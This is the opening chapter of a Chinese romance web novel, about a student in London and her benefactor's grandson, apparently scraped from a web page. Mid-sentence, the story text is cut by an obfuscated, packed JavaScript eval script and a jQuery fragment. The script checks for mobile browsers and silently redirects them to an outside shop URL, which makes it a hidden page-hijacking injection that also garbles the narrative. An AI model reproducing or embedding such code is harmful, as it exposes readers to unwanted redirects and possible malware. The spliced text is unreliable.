《巴别塔》
文/冷青燃
晋江文学城独家发表
//
[第一卷·雾都]
——“我在雾里，看你的眼睛。”
伦市的十二月，日落总是早。
下午四点刚过，天际线便被潮湿的深灰色一寸寸压低。
圣诞假开始的第一天，格罗夫纳广场附近的行人明显少了许多，橘黄色的街灯提前亮起，深褐色砖墙之间挂着璀璨而热闹的节日灯饰。
姜忆梨把围巾往上拽了拽，遮住半张脸，只露出一双被冷风吹得发涩的眼睛。
她走得很慢。
脚下是半化不化的积雪，踩碎时发出细小的声响。
路灯将她的影子拉得很长，孤零零一道，拖在湿漉漉的柏油路上。
这是她在伦市度过的第一个冬天。
其实姜忆梨原本没有想过会来这里。
六月份在临港大学办理毕业手续时，她已经拿到了本校的硕士录取通知书，还有十二万奖学金。
对于一个靠资助才走出大山的贫困生来说，留在临港，不再索取，靠奖学金和兼职度过硕士这一年，再找一份工作，拥有一份狭窄却真实的自由，才是最清醒的选择。
然而数月前，在临港陈家的宅子里，某次晚餐后，资助她多年的陈董拍了拍她的肩，语气温和地说：
“小梨，我想送你去伦市读书。宥池在那里，你和他也可以互相照应。”
于是她来了。
九月，姜忆梨乘坐十余小时的航班，跨越大洲落地。
比起临港闷湿潮热的夏季，伦市的天气要温和许多，只是空气里总带着挥之不去的潮气。
她取了行李，拖着沉重的箱子走出机场。
司机已在外面等候多时，见到她便恭敬地接过行李箱。
姜忆梨落后半步，跟着他走向路边那辆通体漆黑的轿车。
司机替她拉开后座车门。
姜忆梨刚要弯腰坐进去，目光却在触及车内那道人影时骤然停住。
陈宥池坐在车里。
时隔数月未见，他看起来并没有太多变化。灰色衬衫，袖口整齐，领口挺括，整个人靠在椅背上，姿态一如既往地松弛。
他的侧脸线条削薄利落，山根很高，在另一侧眼窝投下一小片深刻的阴影。
听见动静，他也没有立刻抬头，只是不紧不慢地翻过一页文件。
直到察觉姜忆梨迟迟没有动作，他才抬眼看向她。
“盯着我干什么？”他语气平淡，“上车。”
姜忆梨移开目光，看向自己的鞋尖。心跳在喉咙里撞了一下。
“宥池哥。”她尽量让声音听起来平稳，“我没想到……你会来。”
陈宥池的目光仍落在她身上，他坐在那里，像一个沉默的审视者。
在姜忆梨几乎快要屏住呼吸的时候，他才开口，声音低而淡：“外公让我来接你。”
顿了顿，又道：“上车吧。”
轿车后座宽阔，说是并肩，实际上他们之间隔着一段够不着的距离。
车轮碾过湿冷的路面，缓缓向前驶去。车内隔音太好，外面的雨声、车流声、人声，都被厚重的玻璃一并隔绝，只剩下一种失真的安静。
陈宥池没有说话的意思，姜忆梨便侧过头，看向窗外。
伦市正陷入一场漫长而潮湿的黄昏。
路灯在不断后退的建筑线条间跳跃，路边的天使灯饰被雨水和玻璃折成模糊的光影。
就在那些重叠的虚影里，她再一次看见了陈宥池。
他依旧低头看着文件。
玻璃上的倒影并不真切，像一幅用干涩笔触寥寥勾勒出的素描。
姜忆梨很少有机会这样看他。
隔着一层车窗，隔着雨痕与倒影，连冒犯都仿佛被稀释了。
陈宥池的面孔在浮光里忽明忽暗，橘色路灯掠过他的眼睫，在浓黑的眼里短暂停留，又很快被下一段黑暗吞没。
虚幻的倒影，近在咫尺，遥不可及。
正在此刻，倒影里的人动了。
像是察觉到某种并不存在的触碰，陈宥池慢条斯理地掀起眼帘，视线平平抬起。
在幽暗、微冷、布满浮光的车窗玻璃上，他们的目光于虚像中撞在了一起。
姜忆梨在那一瞬间几乎忘记呼吸。
但她早已在千万次注视里学会隐藏。她没有立刻躲开，只是让瞳孔镇定地停在原处，焦距渐渐放远。
于是陈宥池的倒影也跟着模糊下去。
无声的对视里，陈宥池似乎动了动唇角，像是笑了一下，又或许只是姜忆梨的错觉。
随后，他终于转过头，正对着她，语气如常地问：“看什么？”
姜忆梨不敢看他的眼睛，只把目光落在他衬衫的第二颗纽扣上，轻声说：“没看什么……只是觉得，伦市的雨很大。”
陈宥池看了她片刻。
“伦市一直这样。”他随口道，“出门记得带伞。”
姜忆梨点头，乖顺地应：“好的。”
车很快停下，他们到了。
三个月后的十二月，这个黄昏，伦市仍旧在下雨。
姜忆梨停在陈家伦市宅邸门前，抬头望向眼前的建筑。
这是一栋典型的维多利亚风格联排房，外墙由深红色手工砖砌成，白色石砌窗框与厚重的黑色木门构成一种克制的美感。门前的铸铁围栏尖锐而规整，雨水沿着扶手无声滑落。
这是陈家在伦市的地产，也是姜忆梨在伦市的落脚处。
她站在门前，视线越过湿漉漉的黑色扶手，望向二层。
一排深陷阴影的窗口里，只有临街那一扇亮着灯。
那是陈宥池的书房。
橘黄色的暖光透过双层玻璃，在潮湿昏暗的天幕里裁出一个边缘分明的矩形，像一轮遥远的方形月亮。
天色更暗了，姜忆梨收回目光，推门进去。
冬季冷意被瞬间隔绝在门外。室内暖气充足，她把伞挂在门边的黄铜架上。管家迎上来，微微颔首：“姜小姐，我现在去提醒陈先生用晚餐。”
“好的，谢谢。”
管家应声上楼。
姜忆梨走进餐厅，在靠边的位置坐下。没过多久，楼梯上传来皮革叩击木质踏步的声响，不徐不缓。
她下意识挺直脊背，低头看着面前那只绘有繁复金边的骨瓷盘。
陈宥池顺着弧形扶手走下来，在主位落座。佣人开始上菜，银质刀叉与骨瓷轻轻相碰，声音清脆而克制。
姜忆梨握着餐叉，指腹贴在冰凉的柄端。
“外公希望我们回临港过圣诞和新年。”陈宥池的声音忽然响起。
姜忆梨抬起头，长长的餐桌另一端，陈宥池神色依旧淡淡。
“原话是，让你和我一起回去。”他说，“原本他不打算让我告诉你。他觉得，这种事不该成为你的负担。”
姜忆梨从他的表
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929210|213573||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
情与语气里察觉出一点异常，她轻声重复：“这种事？”
“嗯。”陈宥池看着她，“我觉得你有权知道。你想知道吗？”
姜忆梨握紧餐叉。
“……想的。”
“外公身体状态不太好，前几天刚从医院出来。”陈宥池说，“临港的冬天虽然比伦市暖和，但对他的心脏来说，依然不算友好。”
餐厅里暖气开得很足，姜忆梨却仍觉得手脚发冷。
她张了张嘴，喉头像被什么堵住，一时说不出话。
陈宥池仍看着她。
“他应该不希望你知道。消息也已经压下去了。”他顿了顿，“所以，我建议你装作我没有说过。”
姜忆梨勉强冲他笑了笑。
“谢谢宥池哥。”
大约是她的笑太不自然，陈宥池看了她一会儿，才继续道：“明天下午出发。记得收拾行李，待的时间不会太久。”
“好的。”她轻声说，“我会的。”
交谈到这里便结束了，姜忆梨低下头，舀起一口浓汤。
汤已经不烫了。
得知要回临港，她最先感受到的，竟然是一阵卑劣的轻松。
如果这个圣诞假要在伦市度过，就意味着她和陈宥池要在这栋维多利亚风格的宅子里朝夕相处。
只有他们两个人。
过于私密、封闭的空间，对姜忆梨来说并非奖赏，更像一种凌迟般的折磨。
暖气过足的客厅。只有两套餐具的餐桌。每一次擦肩，每一次单独相处。
她都必须时时刻刻警惕，不能因为任何一次对话，任何一次眼神相触，而流露出一分一毫过界的——
爱恋。
而回到临港，回到陈公馆，她便拥有了最好的掩体。在那座大宅里，在跨年的深夜，在陈宥池和陈董身边，看着临港被烟火微微映红的天空，她甚至可以短暂地产生一种错觉。
好像自己也拥有一个家。
但这种虚假的轻松很快就被对陈董病情的担忧刺破。
晚餐后，姜忆梨回到自己的房间。
她的房间在三楼朝阳的位置。她在书桌前坐下，翻开一本专业书。
陈董的脸在她眼前晃了一下。
姜忆梨握着笔，笔尖悬在纸面上方，始终没有碰到纸。
自她十六岁进陈家起，陈董便一直待她很好。他让她也跟着陈宥池喊他外公，像对待真正的外孙女一样对待她。
姜忆梨尊敬他，也敬爱他。
于她而言，这位老人将她从大山里带出来，给了她前程与温暖，却从未向她索取过任何回报。
他是她在这个世界上最接近至亲的长辈。
姜忆梨合上书，起身推开房门。
走廊里的光线比房间更暗。她下了楼，停在陈宥池的书房门口。
门缝下漏出一道光，在地毯上裁出细长的金线。
姜忆梨站在那道光前，停了大约半分钟。她抬起手，悬在半空，却迟迟没有敲下去。
下一秒，房门从里面打开。
陈宥池站在门口。
他很高，身影挡住了书房里大半的光。因为背光，姜忆梨看不清他的表情，只听见他略显倦怠的声音落下来：“在门口罚站这么久，为什么不敲门？”
姜忆梨的肩膀绷了一下，睫毛轻轻一颤。
陈宥池略微俯身，截住她仓促躲开的目光。
“姜忆梨，”他低声问，“怎么总这么怕我？”